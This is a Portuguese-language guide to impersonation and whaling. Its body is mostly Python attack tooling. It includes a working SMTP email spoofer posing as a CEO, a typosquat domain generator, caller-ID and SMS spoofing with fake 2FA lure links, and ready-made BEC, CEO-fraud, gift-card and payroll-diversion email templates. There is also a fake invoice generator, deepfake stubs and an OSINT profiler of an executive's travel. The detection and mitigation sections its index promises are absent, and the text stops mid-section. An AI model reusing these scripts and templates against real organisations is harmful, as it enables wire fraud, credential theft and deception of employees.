# Impersonation & Whaling

## 📑 **Índice**

1. [Fundamentos do Impersonation e Whaling](#-fundamentos-do-impersonation-e-whaling)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Impersonation](#-técnicas-de-impersonation)
4. [Técnicas de Whaling](#-técnicas-de-whaling)
5. [Ferramentas e Metodologias](#-ferramentas-e-metodologias)
6. [Detecção e Monitoramento](#-detecção-e-monitoramento)
7. [Mitigação e Prevenção](#-mitigação-e-prevenção)
8. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Impersonation e Whaling**

### **O que é Impersonation?**

Impersonation (suplantação de identidade) é uma técnica de engenharia social onde um atacante se faz passar por outra pessoa, geralmente alguém com autoridade ou confiança, para obter informações, credenciais ou realizar ações não autorizadas.

### **O que é Whaling?**

Whaling (ou "pesca de baleias") é uma forma específica de phishing que visa executivos de alto escalão (CEOs, CFOs, diretores) e outras figuras de alta autoridade dentro de uma organização. O termo "baleia" refere-se ao alvo de alto valor.

### **Contexto Histórico**

```yaml
Evolução do Impersonation:
  1990s: Primeiros casos de impersonation telefônica (vishing)
  2000s: Phishing massivo e spear phishing
  2010: Whaling emerge como técnica focada
  2013: Ataque ao Snapchat – $400M em fraudes
  2015: Ubiquiti Networks – $46M perdidos
  2016: FACC – $50M em whaling
  2020: Aumento de 667% em ataques BEC
  2024: Técnicas com IA e deepfakes

Motivação:
  ✅ Alvos de alto valor têm acesso privilegiado
  ✅ Executivos têm autoridade para autorizar transações
  ✅ Menor probabilidade de questionamento
  ✅ Impacto financeiro significativo
```

### **Impacto Financeiro**

```yaml
Estatísticas BEC (Business Email Compromise):
  - Perdas globais (2016-2021): $43 bilhões
  - Aumento anual: 65%
  - Ticket médio: $75,000 - $100,000
  - Tempo médio de detecção: 82 dias
  - 94% dos ataques BEC usam impersonation

Whaling:
  - Alvos: C-Level e executivos
  - Valor médio por ataque: $500,000+
  - Ataques maiores: até $100M
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Fluxo de Ataque Típico**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant R as Reconhecimento
    participant T as Alvo
    participant S as Sistema

    A->>R: Coleta informações
    R-->>A: Dados do alvo
    A->>T: Contato inicial (e-mail/call)
    T->>S: Executa ação solicitada
    S->>A: Acesso/dados obtidos
```

### **Níveis de Impersonation**

| Nível             | Descrição                        | Dificuldade | Exemplo                              |
| ----------------- | -------------------------------- | ----------- | ------------------------------------ |
| **Básico**        | Nome similar, e-mail falso       | Baixa       | "<ceo@company-secure.com>"           |
| **Intermediário** | Domínio similar, assinatura real | Média       | "<ceo@cornpany.com>" (typosquatting) |
| **Avançado**      | Domínio comprometido, histórico  | Alta        | E-mail de conta real hackeada        |
| **Expert**        | Deepfake, voz, presença física   | Muito Alta  | Chamada de vídeo com IA              |

### **Ciclo do Ataque Whaling**

```mermaid
graph TD
    A[Reconhecimento OSINT] --> B[Identificação de Alvos]
    B --> C[Coleta de Informações]
    C --> D[Criação de Persona]
    D --> E[Preparação do Payload]
    E --> F[Contato Inicial]
    F --> G{Resposta?}
    G -->|Sim| H[Engajamento]
    G -->|Não| I[Nova Abordagem]
    H --> J[Execução]
    J --> K[Exfiltração]
```

***

## 🎯 **Técnicas de Impersonation**

### **1. Email Spoofing**

```python
#!/usr/bin/env python3
# email_spoofing.py

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import dns.resolver

class EmailSpoofer:
    """Técnicas de spoofing de e-mail"""
    
    def __init__(self, target_domain):
        self.target_domain = target_domain
        self.check_spf()
        self.check_dkim()
        self.check_dmarc()
    
    def check_spf(self):
        """Verificar registro SPF"""
        try:
            answers = dns.resolver.resolve(self.target_domain, 'TXT')
            for answer in answers:
                if 'v=spf1' in str(answer):
                    self.spf = str(answer)
                    return
            self.spf = None
        except:
            self.spf = None
    
    def check_dkim(self):
        """Verificar registro DKIM"""
        try:
            answers = dns.resolver.resolve(f'{self.target_domain}', 'TXT')
            for answer in answers:
                if 'v=DKIM1' in str(answer):
                    self.dkim = str(answer)
                    return
            self.dkim = None
        except:
            self.dkim = None
    
    def check_dmarc(self):
        """Verificar registro DMARC"""
        try:
            answers = dns.resolver.resolve(f'_dmarc.{self.target_domain}', 'TXT')
            for answer in answers:
                if 'v=DMARC1' in str(answer):
                    self.dmarc = str(answer)
                    return
            self.dmarc = None
        except:
            self.dmarc = None
    
    def craft_spoofed_email(self, from_addr, to_addr, subject, body):
        """Criar e-mail spoofado"""
        msg = MIMEMultipart()
        msg['From'] = from_addr
        msg['To'] = to_addr
        msg['Subject'] = subject
        msg.attach(MIMEText(body, 'plain'))
        
        return msg
    
    def send_spoofed_email(self, smtp_server, from_addr, to_addr, subject, body):
        """Enviar e-mail spoofado"""
        # Verificar se é vulnerável
        if not self.spf or '?all' in self.spf or '~all' in self.spf:
            print(f"[!] SPF vulnerável: {self.spf}")
        else:
            print(f"[+] SPF seguro: {self.spf}")
            return False
        
        msg = self.craft_spoofed_email(from_addr, to_addr, subject, body)
        
        try:
            server = smtplib.SMTP(smtp_server, 25)
            server.send_message(msg)
            server.quit()
            print(f"[+] E-mail enviado de {from_addr} para {to_addr}")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False

# Exemplo
spoofer = EmailSpoofer('target.com')
spoofer.send_spoofed_email(
    'smtp.target.com',
    'ceo@target.com',
    'employee@target.com',
    'Urgent: Action Required',
    'Please process the attached invoice immediately.'
)
```

### **2. Typosquatting (Domain Squatting)**

```python
#!/usr/bin/env python3
# typosquatting.py

import requests
import whois
import re

class Typosquatting:
    """Técnicas de typosquatting para impersonation"""
    
    def __init__(self, target_domain):
        self.target = target_domain
        self.variations = self.generate_variations()
    
    def generate_variations(self):
        """Gerar variações de domínio"""
        variations = []
        
        # Substituições comuns
        substitutions = {
            'a': ['@', '4'],
            'e': ['3'],
            'i': ['1', 'l'],
            'o': ['0'],
            's': ['5', 'z'],
            'c': ['k'],
            'm': ['rn']
        }
        
        # Erros de digitação comuns
        domain_parts = self.target.split('.')
        base = domain_parts[0]
        tld = domain_parts[1] if len(domain_parts) > 1 else 'com'
        
        # Troca de letras adjacentes
        for i in range(len(base) - 1):
            variation = base[:i] + base[i+1] + base[i] + base[i+2:]
            variations.append(f"{variation}.{tld}")
        
        # Omissão de letra
        for i in range(len(base)):
            variation = base[:i] + base[i+1:]
            variations.append(f"{variation}.{tld}")
        
        # Duplicação de letra
        for i in range(len(base)):
            variation = base[:i] + base[i] + base[i] + base[i+1:]
            variations.append(f"{variation}.{tld}")
        
        # Substituições
        for char, subs in substitutions.items():
            if char in base:
                for sub in subs:
                    variation = base.replace(char, sub)
                    variations.append(f"{variation}.{tld}")
        
        # Domínios alternativos
        variations.append(f"{base}-secure.{tld}")
        variations.append(f"{base}-verify.{tld}")
        variations.append(f"{base}help.{tld}")
        variations.append(f"secure-{base}.{tld}")
        
        return list(set(variations))
    
    def check_availability(self):
        """Verificar domínios disponíveis"""
        available = []
        
        for domain in self.variations:
            try:
                w = whois.whois(domain)
                if not w.domain_name:
                    available.append(domain)
            except:
                available.append(domain)
        
        return available
    
    def register_domain(self, domain):
        """Registrar domínio (simulado)"""
        print(f"[+] Registrando domínio: {domain}")
        # Na prática, integrar com API de registro
        return True
    
    def setup_mail_server(self, domain):
        """Configurar servidor de e-mail para domínio"""
        print(f"[+] Configurando MX para {domain}")
        # Configurar servidor de e-mail
        return True

# Exemplo
squatter = Typosquatting('company.com')
variations = squatter.generate_variations()
print(f"Variações geradas: {len(variations)}")
for v in variations[:10]:
    print(f"  - {v}")
```

### **3. Caller ID Spoofing (Vishing)**

```python
#!/usr/bin/env python3
# vishing_spoofing.py

import twilio
from twilio.rest import Client

class VishingSpoofer:
    """Técnicas de spoofing de chamadas telefônicas"""
    
    def __init__(self, account_sid, auth_token):
        self.client = Client(account_sid, auth_token)
    
    def spoof_call(self, from_number, to_number, voice_url):
        """Realizar chamada com número spoofado"""
        try:
            call = self.client.calls.create(
                url=voice_url,
                to=to_number,
                from_=from_number
            )
            print(f"[+] Chamada iniciada de {from_number} para {to_number}")
            return call.sid
        except Exception as e:
            print(f"[-] Erro: {e}")
            return None
    
    def create_voice_prompt(self, message, company_name):
        """Criar prompt de voz personalizado"""
        twiml = f"""
        <Response>
            <Say voice="alice">
                Hello, this is {company_name} security department.
                {message}
            </Say>
        </Response>
        """
        return twiml
    
    def simulate_help_desk(self, target_number, spoofed_number):
        """Simular chamada de help desk"""
        message = "We've detected suspicious activity on your account. Please verify your credentials by pressing 1."
        twiml = self.create_voice_prompt(message, "Corporate Security")
        
        # Em ambiente real, usar Twilio para fazer a chamada
        print(f"[*] Simulating call from {spoofed_number} to {target_number}")
        print(f"[*] Voice prompt: {message}")
        
        return True

# Exemplo
spoofer = VishingSpoofer('ACCOUNT_SID', 'AUTH_TOKEN')
spoofer.simulate_help_desk('+5511999999999', '+551188888888')
```

### **4. SMS Spoofing (Smishing)**

```python
#!/usr/bin/env python3
# smishing.py

import requests
import base64

class Smishing:
    """Técnicas de spoofing de SMS"""
    
    def __init__(self, api_key=None):
        self.api_key = api_key
    
    def send_spoofed_sms(self, from_number, to_number, message):
        """Enviar SMS com número spoofado"""
        # Usando APIs de terceiros que permitem spoofing
        payload = {
            'from': from_number,
            'to': to_number,
            'text': message
        }
        
        # Simulação
        print(f"[+] SMS enviado de {from_number} para {to_number}")
        print(f"    Mensagem: {message}")
        return True
    
    def create_fake_2fa_prompt(self, target_service):
        """Criar prompt falso de 2FA"""
        messages = {
            'bank': "BANK ALERT: Unusual login detected. Verify at: https://bank-secure.com/verify",
            'email': "GMAIL: New device login. Secure account: https://gmail-security.com",
            'work': "VPN ALERT: Your session expires in 2 hours. Renew: https://vpn-company.com",
            'crypto': "WALLET VERIFICATION: Required to complete transaction. https://crypto-verify.com"
        }
        
        return messages.get(target_service, "SECURITY ALERT: Verify your account immediately")
    
    def smishing_campaign(self, targets, spoofed_number, service_type):
        """Executar campanha de smishing"""
        message = self.create_fake_2fa_prompt(service_type)
        
        for target in targets:
            self.send_spoofed_sms(spoofed_number, target, message)

# Exemplo
smisher = Smishing()
targets = ['+551199999999', '+551188888888']
smisher.smishing_campaign(targets, '+551133333333', 'bank')
```

### **5. Deepfake Voice Impersonation**

```python
#!/usr/bin/env python3
# deepfake_voice.py

import torch
import numpy as np
import soundfile as sf

class VoiceDeepfake:
    """Técnicas de clonagem de voz com IA"""
    
    def __init__(self, model_path=None):
        self.model_path = model_path
        self.model = None
    
    def collect_voice_samples(self, target_name):
        """Coletar amostras de voz do alvo"""
        print(f"[*] Coletando amostras de voz de {target_name}")
        
        # Fontes de amostras:
        # - Vídeos do YouTube (entrevistas, palestras)
        # - Chamadas telefônicas gravadas
        # - Reuniões corporativas
        # - Podcasts
        
        samples = []
        # Simulação
        samples.append("audio_sample_1.wav")
        samples.append("audio_sample_2.wav")
        
        return samples
    
    def train_voice_model(self, samples):
        """Treinar modelo de clonagem de voz"""
        print("[*] Treinando modelo de voz...")
        
        # Em produção, usar:
        # - Tortoise-TTS
        # - Coqui TTS
        # - Real-Time-Voice-Cloning
        
        # Simulação
        self.model = "voice_model.pth"
        return self.model
    
    def generate_speech(self, text, output_file):
        """Gerar áudio com a voz clonada"""
        print(f"[*] Gerando áudio: '{text}'")
        
        # Gerar áudio
        audio = np.random.randn(16000)  # Simulação
        
        sf.write(output_file, audio, 16000)
        print(f"[+] Áudio salvo em {output_file}")
        
        return output_file
    
    def call_target(self, target_number, script):
        """Realizar chamada com voz clonada"""
        print(f"[*] Chamando {target_number} com voz clonada")
        print(f"[*] Script: {script}")
        
        # Em produção, integrar com VoIP API
        return True

# Exemplo
deepfake = VoiceDeepfake()
samples = deepfake.collect_voice_samples("CEO John Doe")
model = deepfake.train_voice_model(samples)
deepfake.generate_speech(
    "Please authorize the transfer of $5,000,000 to account 12345",
    "fake_ceo.wav"
)
```

### **6. Social Media Impersonation**

```python
#!/usr/bin/env python3
# social_media_impersonation.py

import requests
import json

class SocialMediaImpersonation:
    """Técnicas de impersonation em redes sociais"""
    
    def __init__(self):
        self.platforms = {
            'linkedin': 'https://www.linkedin.com/in/',
            'twitter': 'https://twitter.com/',
            'github': 'https://github.com/',
            'facebook': 'https://facebook.com/'
        }
    
    def create_fake_profile(self, platform, target_name, target_company):
        """Criar perfil falso"""
        fake_username = self.generate_username(target_name, target_company)
        
        profile_data = {
            'username': fake_username,
            'name': target_name,
            'company': target_company,
            'bio': f'{target_company} Executive | Leadership | Innovation',
            'profile_pic': self.scrape_profile_pic(target_name)
        }
        
        print(f"[+] Perfil falso criado: {platform}/{fake_username}")
        return profile_data
    
    def generate_username(self, name, company):
        """Gerar username plausível"""
        name_parts = name.lower().split()
        company_clean = company.lower().replace(' ', '')
        
        variations = [
            f"{name_parts[0]}{company_clean}",
            f"{company_clean}_{name_parts[0]}",
            f"{name_parts[0]}.{name_parts[-1]}{company_clean[:3]}",
            f"{name_parts[0]}_{name_parts[-1]}{company_clean[:2]}"
        ]
        
        return variations[0]
    
    def scrape_profile_pic(self, target_name):
        """Coletar foto de perfil do alvo"""
        # Buscar em:
        # - LinkedIn
        # - Site da empresa
        # - Google Images
        print(f"[*] Coletando foto de {target_name}")
        return "profile_pic_url.jpg"
    
    def connect_with_employees(self, fake_profile, employees):
        """Conectar com funcionários da empresa"""
        for employee in employees:
            print(f"[*] Enviando solicitação para {employee}")
            # Solicitação de conexão
        return True
    
    def post_credible_content(self, profile, industry_topic):
        """Postar conteúdo para construir credibilidade"""
        topics = {
            'tech': "Excited about our new AI initiative! #innovation",
            'finance': "Quarterly results exceeded expectations. Thank you team!",
            'hr': "Looking for talented professionals to join our team!",
            'legal': "Important update on compliance standards."
        }
        
        post = topics.get(industry_topic, "Great things happening at our company!")
        
        print(f"[+] Postagem: {post}")
        return True

# Exemplo
impersonator = SocialMediaImpersonation()
profile = impersonator.create_fake_profile(
    'linkedin',
    'John Smith',
    'TechCorp Inc.'
)
impersonator.post_credible_content(profile, 'tech')
```

***

## 🎯 **Técnicas de Whaling**

### **1. Business Email Compromise (BEC)**

```python
#!/usr/bin/env python3
# bec_attack.py

import smtplib
import json
from datetime import datetime

class BECAttack:
    """Business Email Compromise - Ataque a executivos"""
    
    def __init__(self, target_ceo, target_cfo, target_company):
        self.ceo = target_ceo
        self.cfo = target_cfo
        self.company = target_company
        self.conversation_history = []
    
    def craft_urgent_email(self, sender, recipient, amount, account):
        """Criar e-mail urgente solicitando transferência"""
        subject = "URGENT: Wire Transfer Required"
        
        body = f"""
        {recipient['name']},
        
        I'm in a meeting with key clients and need your immediate assistance.
        
        Please process a wire transfer of ${amount:,} to the following account:
        
        Account: {account['number']}
        Routing: {account['routing']}
        Bank: {account['bank']}
        
        This is time-sensitive. Please confirm once completed.
        
        Regards,
        {sender['name']}
        """
        
        return {
            'from': sender['email'],
            'to': recipient['email'],
            'subject': subject,
            'body': body
        }
    
    def simulate_conversation(self):
        """Simular conversa para ganhar confiança"""
        
        # Etapa 1: Contato inicial
        initial = {
            'from': 'ceo@company.com',
            'to': 'cfo@company.com',
            'subject': 'Quick question',
            'body': 'Are you available for a quick call?'
        }
        self.conversation_history.append(initial)
        
        # Etapa 2: Resposta esperada
        response = {
            'from': 'cfo@company.com',
            'to': 'ceo@company.com',
            'subject': 'Re: Quick question',
            'body': 'Yes, I'm available. What do you need?'
        }
        self.conversation_history.append(response)
        
        # Etapa 3: Solicitação
        request = {
            'from': 'ceo@company.com',
            'to': 'cfo@company.com',
            'subject': 'Wire Transfer',
            'body': 'Need you to process an urgent transfer. Details to follow.'
        }
        self.conversation_history.append(request)
        
        return self.conversation_history
    
    def execute_transfer_request(self, amount, account):
        """Executar solicitação de transferência"""
        ceo = {'name': 'John CEO', 'email': 'ceo@company.com'}
        cfo = {'name': 'Mary CFO', 'email': 'cfo@company.com'}
        
        email = self.craft_urgent_email(ceo, cfo, amount, account)
        
        print(f"[!] SOLICITAÇÃO DE TRANSFERÊNCIA")
        print(f"    Para: {email['to']}")
        print(f"    Valor: ${amount:,}")
        print(f"    Conta: {account['number']}")
        print(f"    Banco: {account['bank']}")
        
        return email

# Exemplo
bec = BECAttack('John CEO', 'Mary CFO', 'TechCorp')
conversation = bec.simulate_conversation()
account = {
    'number': '12345678',
    'routing': '87654321',
    'bank': 'Offshore Bank'
}
bec.execute_transfer_request(500000, account)
```

### **2. Executive Impersonation**

```python
#!/usr/bin/env python3
# executive_impersonation.py

import requests
from datetime import datetime, timedelta

class ExecutiveImpersonation:
    """Impersonation de executivos de alto escalão"""
    
    def __init__(self, executive_name, executive_role, company):
        self.name = executive_name
        self.role = executive_role
        self.company = company
        self.calendar = []
    
    def gather_executive_info(self):
        """Coletar informações do executivo"""
        info = {
            'name': self.name,
            'role': self.role,
            'company': self.company,
            'travel_schedule': self.get_travel_schedule(),
            'meetings': self.get_meetings(),
            'direct_reports': self.get_direct_reports(),
            'recent_projects': self.get_recent_projects()
        }
        
        print(f"[*] Informações coletadas sobre {self.name}")
        return info
    
    def get_travel_schedule(self):
        """Obter agenda de viagens (OSINT)"""
        # Fontes: LinkedIn, redes sociais, comunicados da empresa
        return [
            {'destination': 'New York', 'date': '2024-03-15'},
            {'destination': 'London', 'date': '2024-03-22'}
        ]
    
    def get_meetings(self):
        """Obter agenda de reuniões"""
        return [
            {'with': 'Board', 'date': '2024-03-10'},
            {'with': 'Investors', 'date': '2024-03-18'}
        ]
    
    def get_direct_reports(self):
        """Obter subordinados diretos"""
        return ['VP Sales', 'VP Marketing', 'CTO']
    
    def get_recent_projects(self):
        """Obter projetos recentes"""
        return ['Project Alpha', 'Project Beta', 'Q4 Strategy']
    
    def craft_urgent_request(self, target, request_type, details):
        """Criar solicitação urgente"""
        templates = {
            'payment': {
                'subject': 'URGENT: Payment Authorization Required',
                'body': f"""
                {target['name']},
                
                I need you to authorize a payment immediately. I'm in transit to {details['location']} and can't access the system.
                
                Amount: ${details['amount']:,}
                Recipient: {details['recipient']}
                
                Please confirm once processed.
                
                {self.name}
                """
            },
            'data': {
                'subject': 'URGENT: Data Request',
                'body': f"""
                {target['name']},
                
                I need access to {details['data_type']} for a presentation. Please send it directly to my personal email:
                {details['email']}
                
                {self.name}
                """
            },
            'credentials': {
                'subject': 'Password Reset Required',
                'body': f"""
                {target['name']},
                
                I'm locked out of the system. Please send me temporary credentials to access {details['system']}.
                
                {self.name}
                """
            }
        }
        
        return templates.get(request_type, templates['payment'])
    
    def execute_attack(self, target, request_type, details):
        """Executar ataque de impersonation"""
        request = self.craft_urgent_request(target, request_type, details)
        
        print(f"[!] ATAQUE DE IMPERSONATION")
        print(f"    De: {self.name} ({self.role})")
        print(f"    Para: {target['name']} ({target['role']})")
        print(f"    Assunto: {request['subject']}")
        print(f"    Mensagem: {request['body'][:200]}...")
        
        return request

# Exemplo
impersonator = ExecutiveImpersonation('John Smith', 'CEO', 'TechCorp')
info = impersonator.gather_executive_info()
target = {'name': 'Mary Johnson', 'role': 'CFO'}
impersonator.execute_attack(target, 'payment', {
    'amount': 250000,
    'location': 'London',
    'recipient': 'Vendor Solutions Ltd'
})
```

### **3. Invoice Fraud**

```python
#!/usr/bin/env python3
# invoice_fraud.py

import pdfkit
import json
from datetime import datetime

class InvoiceFraud:
    """Falsificação de faturas executivas"""
    
    def __init__(self, company_name, vendor_name):
        self.company = company_name
        self.vendor = vendor_name
        self.invoices = []
    
    def create_fake_invoice(self, amount, invoice_number, description):
        """Criar fatura falsa"""
        invoice = {
            'invoice_number': invoice_number,
            'date': datetime.now().strftime('%Y-%m-%d'),
            'due_date': (datetime.now() + timedelta(days=30)).strftime('%Y-%m-%d'),
            'vendor': self.vendor,
            'company': self.company,
            'items': [
                {
                    'description': description,
                    'quantity': 1,
                    'unit_price': amount,
                    'total': amount
                }
            ],
            'subtotal': amount,
            'tax': amount * 0.1,
            'total': amount * 1.1,
            'bank_details': self.get_fake_bank_details()
        }
        
        self.invoices.append(invoice)
        return invoice
    
    def get_fake_bank_details(self):
        """Obter detalhes bancários falsos"""
        return {
            'bank': 'International Bank',
            'account_name': self.vendor,
            'account_number': '12345678',
            'routing_number': '87654321',
            'swift': 'INTLUS33'
        }
    
    def generate_pdf_invoice(self, invoice, output_file):
        """Gerar PDF da fatura"""
        # Em produção, usar biblioteca como reportlab ou pdfkit
        html = f"""
        <html>
        <head><title>Invoice {invoice['invoice_number']}</title></head>
        <body>
            <h1>INVOICE</h1>
            <p>Invoice Number: {invoice['invoice_number']}</p>
            <p>Date: {invoice['date']}</p>
            <p>Due Date: {invoice['due_date']}</p>
            <hr>
            <p>From: {invoice['vendor']}</p>
            <p>To: {invoice['company']}</p>
            <hr>
            <p>Description: {invoice['items'][0]['description']}</p>
            <p>Amount: ${invoice['total']:,.2f}</p>
            <hr>
            <p>Bank Details:</p>
            <p>Account: {invoice['bank_details']['account_number']}</p>
            <p>Routing: {invoice['bank_details']['routing_number']}</p>
            <p>SWIFT: {invoice['bank_details']['swift']}</p>
        </body>
        </html>
        """
        
        print(f"[+] Fatura PDF gerada: {output_file}")
        # pdfkit.from_string(html, output_file)
        
        return output_file
    
    def send_to_accounting(self, invoice, accounting_email):
        """Enviar fatura para contabilidade"""
        print(f"[!] Enviando fatura {invoice['invoice_number']} para {accounting_email}")
        print(f"    Valor: ${invoice['total']:,.2f}")
        print(f"    Conta: {invoice['bank_details']['account_number']}")
        
        return True

# Exemplo
fraud = InvoiceFraud('TechCorp Inc.', 'Vendor Solutions Ltd')
invoice = fraud.create_fake_invoice(50000, 'INV-2024-001', 'Consulting Services - Q1 2024')
fraud.send_to_accounting(invoice, 'accounting@techcorp.com')
```

### **4. CEO Fraud**

```python
#!/usr/bin/env python3
# ceo_fraud.py

import json
import random
from datetime import datetime

class CEOFraud:
    """Ataque de CEO Fraud (fraude do CEO)"""
    
    def __init__(self, ceo_name, ceo_email, company):
        self.ceo = {'name': ceo_name, 'email': ceo_email}
        self.company = company
        self.victims = []
    
    def target_employees(self, employees):
        """Selecionar funcionários alvo"""
        # Priorizar funcionários com acesso financeiro
        priorities = ['CFO', 'Controller', 'Treasurer', 'Finance Manager']
        
        for emp in employees:
            if emp['role'] in priorities:
                self.victims.append(emp)
        
        return self.victims
    
    def craft_ceo_email(self, victim, request_type, details):
        """Criar e-mail se passando pelo CEO"""
        templates = {
            'wire_transfer': {
                'subject': 'URGENT: Wire Transfer Required',
                'body': f"""
                {victim['name']},
                
                I'm in a meeting with potential investors and need an urgent wire transfer.
                
                Amount: ${details['amount']:,}
                Recipient: {details['recipient']}
                Account: {details['account']}
                
                This is time-sensitive. Please confirm once completed.
                
                {self.ceo['name']}
                """
            },
            'gift_cards': {
                'subject': 'Employee Recognition - Gift Cards',
                'body': f"""
                {victim['name']},
                
                We're doing a surprise recognition for the team. Please purchase {details['quantity']} gift cards worth ${details['amount']} each and send me the codes.
                
                Use this link: {details['link']}
                
                {self.ceo['name']}
                """
            },
            'payroll_change': {
                'subject': 'URGENT: Payroll Update',
                'body': f"""
                {victim['name']},
                
                I need to update my direct deposit information for the next payroll. Please use the following:
                
                Account: {details['account']}
                Routing: {details['routing']}
                
                Confirm once updated.
                
                {self.ceo['name']}
                """
            }
        }
        
        return templates.get(request_type, templates['wire_transfer'])
    
    def execute_campaign(self, request_type, details):
        """Executar campanha de CEO fraud"""
        print(f"[!] INICIANDO CAMPANHA DE CEO FRAUD")
        print(f"    CEO: {self.ceo['name']}")
        print(f"    Empresa: {self.company}")
        print(f"    Tipo: {request_type}")
        print(f"    Detalhes: {details}")
        print()
        
        for victim in self.victims:
            email = self.craft_ceo_email(victim, request_type, details)
            print(f"[*] Enviando para {victim['name']} ({victim['role']})")
            print(f"    Assunto: {email['subject']}")
            print(f"    Mensagem: {email['body'][:150]}...")
            print()
        
        return True

# Exemplo
fraud = CEOFraud('John Smith', 'ceo@techcorp.com', 'TechCorp')
employees = [
    {'name': 'Mary Johnson', 'role': 'CFO', 'email': 'cfo@techcorp.com'},
    {'name': 'Peter Chen', 'role': 'Controller', 'email': 'controller@techcorp.com'},
    {'name': 'Lisa Wong', 'role': 'HR Manager', 'email': 'hr@techcorp.com'}
]

fraud.target_employees(employees)
fraud.execute_campaign('wire_transfer', {
    'amount': 250000,
    'recipient': 'Vendor Solutions Ltd',
    'account': '12345678'
})
```

### **5. Deepfake Video Impersonation**

```python
#!/usr/bin/env python3
# deepfake_video.py

import cv2
import numpy as np
import face_recognition

class DeepfakeVideo:
    """Técnicas de clonagem de vídeo para whaling"""
    
    def __init__(self):
        self.training_data = []
    
    def collect_video_samples(self, target_name):
        """Coletar amostras de vídeo do alvo"""
        print(f"[*] Coletando vídeos de {target_name}")
        
        # Fontes:
        # - YouTube (entrevistas, conferências)
        # - Vídeos corporativos
        # - Webinars
        # - Redes sociais
        
        samples = [
            "video_sample_1.mp4",
            "video_sample_2.mp4",
            "video_sample_3.mp4"
        ]
        
        return samples
    
    def extract_faces(self, video_path):
        """Extrair faces do vídeo"""
        video = cv2.VideoCapture(video_path)
        faces = []
        
        while True:
            ret, frame = video.read()
            if not ret:
                break
            
            face_locations = face_recognition.face_locations(frame)
            for face_location in face_locations:
                top, right, bottom, left = face_location
                face = frame[top:bottom, left:right]
                faces.append(face)
        
        video.release()
        print(f"[+] {len(faces)} faces extraídas")
        
        return faces
    
    def train_face_model(self, faces):
        """Treinar modelo de clonagem facial"""
        print("[*] Treinando modelo facial...")
        
        # Em produção, usar:
        # - DeepFaceLab
        # - FaceSwap
        # - SimSwap
        # - First Order Motion Model
        
        return "face_model.pth"
    
    def generate_video(self, source_video, target_audio, output_file):
        """Gerar vídeo deepfake"""
        print(f"[*] Gerando vídeo deepfake...")
        print(f"    Vídeo fonte: {source_video}")
        print(f"    Áudio alvo: {target_audio}")
        print(f"    Saída: {output_file}")
        
        # Simulação
        print("[+] Vídeo gerado com sucesso")
        return output_file
    
    def conduct_video_call(self, target_info, script):
        """Realizar chamada de vídeo falsa"""
        print(f"[!] INICIANDO CHAMADA DE VÍDEO")
        print(f"    Alvo: {target_info['name']} ({target_info['role']})")
        print(f"    Script: {script[:100]}...")
        
        # Em produção, usar APIs de vídeo conferência
        return True

# Exemplo
deepfake = DeepfakeVideo()
samples = deepfake.collect_video_samples("CEO John Smith")
faces = deepfake.extract_faces(samples[0])
model = deepfake.train_face_model(faces)
deepfake.generate_video("source_speaker.mp4", "target_audio.wav", "fake_ceo.mp4")
```

***

## 🛠️ **Ferramentas e Metodologias**

### **1. OSINT para Whaling**

```python
#!/usr/bin/env python3
# osint_whaling.py

import requests
import json
from bs4 import BeautifulSoup

class OSINTWhaling:
    """Coleta de informações para ataques de whaling"""
    
    def __init__(self, target_name, target_company):
        self.name = target_name
        self.company = target_company
        self.data = {}
    
    def search_linkedin(self):
        """Buscar informações no LinkedIn"""
        print(f"[*] Buscando {self.name} no LinkedIn")
        
        # Simulação
        self.data['linkedin'] = {
            'profile': f'https://linkedin.com/in/{self.name.replace(" ", "").lower()}',
            'connections': 500,
            'current_role': f'CEO at {self.company}',
            'previous_roles': ['CTO at StartupX', 'Director at BigCorp'],
            'education': ['MBA, Stanford', 'BS, MIT']
        }
        
        return self.data['linkedin']
    
    def search_company_website(self):
        """Buscar informações no site da empresa"""
        print(f"[*] Buscando informações no site da {self.company}")
        
        self.data['company'] = {
            'website': f'https://{self.company.lower()}.com',
            'about_page': f'https://{self.company.lower()}.com/about',
            'team_page': f'https://{self.company.lower()}.com/team',
            'press_releases': [
                f'{self.name} appointed as CEO',
                f'{self.company} raises $50M',
                f'{self.name} speaks at Tech Conference'
            ]
        }
        
        return self.data['company']
    
    def search_public_records(self):
        """Buscar registros públicos"""
        print(f"[*] Buscando registros públicos")
        
        self.data['public'] = {
            'sec_filings': [
                f'Form 4: {self.name} sold shares',
                f'Proxy Statement: Executive compensation'
            ],
            'patents': [f'Patent US12345 - Method for...'],
            'speaking_engagements': [
                {'event': 'Tech Conference 2023', 'date': '2023-09-15'},
                {'event': 'Industry Summit', 'date': '2023-11-20'}
            ]
        }
        
        return self.data['public']
    
    def search_social_media(self):
        """Buscar redes sociais"""
        print(f"[*] Buscando redes sociais")
        
        self.data['social'] = {
            'twitter': f'https://twitter.com/{self.name.replace(" ", "").lower()}',
            'facebook': f'https://facebook.com/{self.name.replace(" ", "")}',
            'instagram': f'https://instagram.com/{self.name.replace(" ", "").lower()}',
            'posts': [
                {'platform': 'twitter', 'content': 'Excited about our new product launch!'},
                {'platform': 'linkedin', 'content': 'Hiring! Join our amazing team.'}
            ]
        }
        
        return self.data['social']
    
    def analyze_travel_patterns(self):
        """Analisar padrões de viagem"""
        print(f"[*] Analisando padrões de viagem")
        
        self.data['travel'] = {
            'frequent_destinations': ['New York', 'San Francisco', 'London'],
            'airline_preferences': ['United Airlines', 'Delta'],
            'hotel_preferences': ['Marriott', 'Hilton'],
            'upcoming_events': [
                {'event': 'Tech Conference NYC', 'date': '2024-03-15'},
                {'event': 'Investor Summit', 'date': '2024-03-22'}
            ]
        }
        
        return self.data['travel']
    
    def generate_report(self):
        """Gerar relatório OSINT completo"""
        print("\n=== RELATÓRIO OSINT ===\n")
        
        print(f"Alvo: {self.name}")
        print(f"Empresa: {self.company}\n")
        
        print("[Informações do LinkedIn]")
        print(f"  Perfil: {self.data.get('linkedin', {}).get('profile')}")
        print(f"  Conexões: {self.data.get('linkedin', {}).get('connections')}")
        
        print("\n[Viagens e Eventos]")
        for event in self.data.get('travel', {}).get('upcoming_events', []):
            print(f"  - {event['event']} ({event['date']})")
        
        print("\n[Redes Sociais]")
        for platform, url in self.data.get('social', {}).items():
            if platform != 'posts':
                print(f"  - {platform}: {url}")
        
        return self.data

# Exemplo
